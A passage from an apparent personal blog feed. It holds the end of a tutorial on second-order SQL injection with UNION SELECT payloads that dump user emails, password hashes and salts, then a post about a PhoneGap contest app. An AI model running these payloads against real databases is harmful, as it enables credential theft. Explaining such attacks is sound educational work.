&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;k&quot;&gt;UNION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GROUP_CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GROUP_CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;That would give us details upto 1000 characters (GROUP_CONCAT limits). To mitigate those limits:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;k&quot;&gt;UNION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GROUP_CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GROUP_CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GROUP_CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;salt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;salt&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;LIMIT&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;OFFSET&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Change the OFFSET and you're ready to roll.&lt;/p&gt;

&lt;h2&gt;Inception Injection&lt;/h2&gt;

&lt;p&gt;This was all a theoritical attack on the second query. Granted you could do lots of stuff from here on the first query, but it is far less responsive (Doesn't give much output). The only thing you can modify is the email, which offers you a single field.&lt;/p&gt;

&lt;p&gt;However, the only attack vector (&lt;code&gt;$_SESSION&lt;/code&gt;) for the second query is not directly controlled, but comes instead from the result of the first query. So to perform this attack on the second query, we take the second injection, and use it inside the first one.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;UNION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- will give us first user&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;UNION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;  &lt;span class=&quot;k&quot;&gt;ORDER&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;BY&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- keep increasing to get number of columns&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;UNION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- This would let us know which column corresponds to the email id&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;UNION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;&amp;quot;&amp;lt;inject second query here&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- This would let us know which column corresponds to the email id&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Although we have been writing injection code starting with UNION, it actually would start with ' UNION... Using our last injection code for the second query here, it becomes:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;UNION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;&amp;quot;&amp;#39; UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;What happens on the server side:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;php&quot;&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;email&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;#39; UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;and the second query becomes:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;sql&quot;&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;user_details&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;UNION&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GROUP_CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GROUP_CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GROUP_CONCAT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;salt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;salt&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;LIMIT&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;OFFSET&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;#&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Note that we still have to keep a # at the end of the inner query. There are portions after # which we still need to discard. Feel free to contact me if you have any further doubts. I am sure this is a well-known and used by people already, but this was something new to me.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Akira - Winning entry to the Adobe Express Apps Contest</title>
   <link href="http://captnemo.in/blog/2012/05/23/phonegap-blog-post/"/>
   <updated>2012-05-23T00:00:00-07:00</updated>
   <id>http://capt.nemo/blog/2012/05/23/phonegap-blog-post</id>
   <content type="html">&lt;p&gt;This is the obligatory blog post that comes along with winning the Adobe Express Apps Contest.&lt;/p&gt;

&lt;h1&gt;Contest Rules&lt;/h1&gt;

&lt;p&gt;The contest rules asked you to develop a mobile application, using Adobe Phonegap and related technologies(read Dreamweaver) in a time frame of hardly 18 hours. This duration was assuming that one does no sleep, which I did not.&lt;/p&gt;

&lt;p&gt;The problem statement for the application was to create a mobile application for a SUV car manufacturer. The application had to be socially engaging and &lt;em&gt;use the hardware capabilities offered by the device&lt;/em&gt;.&lt;/p&gt;

&lt;h1&gt;Our Interpretation&lt;/h1&gt;

&lt;p&gt;We started with the problem statement as the complete guide for our application and ought bottom up for an application that would be the least and best amount of work to create an app that fulfils the app requirements.&lt;/p&gt;

&lt;p&gt;We started off with a few wireframes, and features thrown around. At the end of the one hour mark, we had our feature list down to :&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Owners can share pics of their cars. We wanted the application to be for the owners of the cars, which brings in a lot of additional data. Pic sharing was the most logical thing to do. We were thinking something like an Instagram Community where everybody posts pics about where they have been, their rigs and so on.&lt;/li&gt;
&lt;li&gt;A mileage meter. This was a slight gamification of the GPS data that we get. At the start of every journey/trip, you could mark it as such in the app, and we would record your position every 5 minutes. At the end of the trip, you could mark your ending point and see how much you travelled. Also important was the fact that we decided to show a number corresponding to every application user, showing how many miles he/she has travelled so far. Seeing that the next guy has travelled only so and so more miles than you may lead you to travel more.&lt;/li&gt;
&lt;li&gt;Maps, obviously. A map for all the previous journeys that you have taken.&lt;/li&gt;
&lt;/ol&gt;


&lt;h1&gt;Work&lt;/h1&gt;

&lt;p&gt;We tried to start with JQ.Mobi, which is an alternative to Jquery Mobile, but could not justify it, and switched to JQuery Mobile as it offered better  integration with Dreamweaver.&lt;/p&gt;

&lt;p&gt;The basic application layout was done using a mix of JQuery Mobile and some custom css. I came across a very good service called Build Phonegap, that allows you to compile your Phonegap application online to different platforms. We started with basing our application on the &lt;a href=&quot;https://github.com/phonegap/phonegap-start&quot;&gt;Phonegap Starter App on GitHub&lt;/a&gt; which was quite good. The examples directory in the phonegap download is what we ended up using, though.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Edit&lt;/em&gt;: After working a lot more in mobile development, I have come to see a lot more frameworks, and find JQTouch to be quite the minimalist do-one-thing-well plugin.&lt;/p&gt;

&lt;p&gt;The most difficult part was to get the application to compile for iOS, without paying the Apple Developer Licence. Since, I could not see myself selling iOS apps anytime soon in the Apple App Store, I was stuck with a jailbroken iPad + iPod Touch, and had to figure out out to compile.&lt;/p&gt;

&lt;p&gt;The steps, which took me a lot of time to find on the internet, include :&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Download and install the XCode and the Adobe Phonegap toolkit. I downloaded the latest version, 4.2 for xcode, which makes the process a bit easier.&lt;/li&gt;
&lt;li&gt;Follow the instructions on &lt;a href=&quot;http://www.youtube.com/watch?v=n1ZDMmwYHdE&quot;&gt;this youtube video&lt;/a&gt; to allow xcode to compile your application without Code Signing.&lt;/li&gt;
&lt;li&gt;Create a corvora application in xcode and follow &lt;a href=&quot;http://wiki.phonegap.com/w/page/52010495/Getting%20Started%20with%20PhoneGap-Cordova%20and%20Xcode%204&quot;&gt;these instructions&lt;/a&gt; to add the www folder to the application.&lt;/li&gt;
&lt;li&gt;Compile. If you have an iDevice connected, you should be able to compile and install your application in a single step.&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;You may need to change your application configuration to &quot;Do not code sign&quot; for this to work.&lt;/p&gt;

&lt;p&gt;Getting all the above steps to work for the first time, on a borrowed MacBook Pro was a lot of work, for a mac noob like me. But at the end, getting to see the application getting launched on multiple devices and looking equally good was worth it.&lt;/p&gt;

&lt;p&gt;The rest of the time was spent on getting the application features to work, while fighting off sleep. The end result was a still-incomplete application , which ran on multiple devices.&lt;/p&gt;

&lt;h1&gt;Blackberry&lt;/h1&gt;

&lt;p&gt;Unfortunately, we were not able to run the app on the only Blackberry Phone that we had as Phonegap only supports Blackberry 5 as of now, while our phone had been upgraded to 6.&lt;/p&gt;

&lt;p&gt;Our winning strategy from the start had been to dazzle the judges with an application running across multiple devices, and working equally good. We were pretty sure that none of the other contestants would put in so much effort to get it to run on non-android devices.&lt;/p&gt;

&lt;h1&gt;Backend&lt;/h1&gt;

&lt;p&gt;I wrote the application backend in PHP limonade, a framework that i am quite used to. The concept was to give out a rest api to the application to use to Authenticate users and carry out backend tasks.&lt;/p&gt;

&lt;h1&gt;Code&lt;/h1&gt;

&lt;p&gt;The code is obviously messy, as a result of being hacked in on a single 18 hour marathon. You may be able to get a few good ideas from the implementations, though. The entire code is available at my &lt;a href=&quot;https://github.com/captn3m0/akira&quot;&gt;akira&lt;/a&gt; and &lt;a href=&quot;https://github.com/captn3m0/akira-backend&quot;&gt;akira-backend&lt;/a&gt; repositories.&lt;/p&gt;

&lt;h1&gt;Thoughts on Phonegap&lt;/h1&gt;

&lt;p&gt;My second slide in the presentation I did for the contest(made on Keynote on the Ipad, while walking to the contest room) says proudly &quot;Phonegap is awesome&quot;. And i seriously mean that. I've got started in the world of mobile development, while not having to worry about cross browser compatibility issues, and the like. I can do stuff easily using the already existing technologies that I know and love. There are a ton of excellent Phonegap plugins out there, and many more being written right now.&lt;/p&gt;

&lt;p&gt;I am really impressed with what a web developer could do with Phonegap, and its ease of use. The Adobe Developers promised me that the integration would be far better in Dreamweaver 6, which I might just try. Although, it was far easier for me to compile and install the application on an android phone, so I hardly used the emulator which I took the pains to install.&lt;/p&gt;

&lt;h1&gt;Expectations&lt;/h1&gt;

&lt;p&gt;What I'd really love, though is a Phonegap simulator. Instead of having to install an android emulator, what if Dreamweaver comes with a Phonegap simulator. Since Phonegap is all javascript, it should be trivial to create basic UIs that look and feel like the native interface of the OS chosen. I would still have to do final tests on the emulator, which i believe are worthless, compared to running it on actual devices. My point is, installing the android emulator and getting the app to run in a emulator is really no big deal, but turns out be a huge time consuming step. For interested web developers, this could be skipped pretty easily, if only Phonegap had its own simulator.&lt;/p&gt;

&lt;p&gt;This is all just theory, as you'd have to install the complete Android and ios sdk to compile it for your device, anyway. But it would be a welcome step.&lt;/p&gt;

&lt;h1&gt;Presentation&lt;/h1&gt;

&lt;p&gt;The presentation was made as a string of screenshots developing the application, so its not really much help. But here it is anyway. &lt;a href=&quot;https://speakerdeck.com/u/captn3m0/p/akira-presentation&quot;&gt;View Original&lt;/a&gt;.&lt;/p&gt;

&lt;script async class=&quot;speakerdeck-embed&quot; data-id=&quot;4f6effee933f08002201ea60&quot; data-ratio=&quot;1.3333333333333333&quot; src=&quot;//speakerdeck.com/assets/embed.js&quot;&gt;&lt;/script&gt;


&lt;h1&gt;Prize&lt;/h1&gt;

&lt;p&gt;I won a PS3. Yay!&lt;/p&gt;

&lt;p&gt;If you have any problems with the code, or the process, you can contact me at my &lt;a href=&quot;/about&quot;&gt;about page&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
  
</feed>
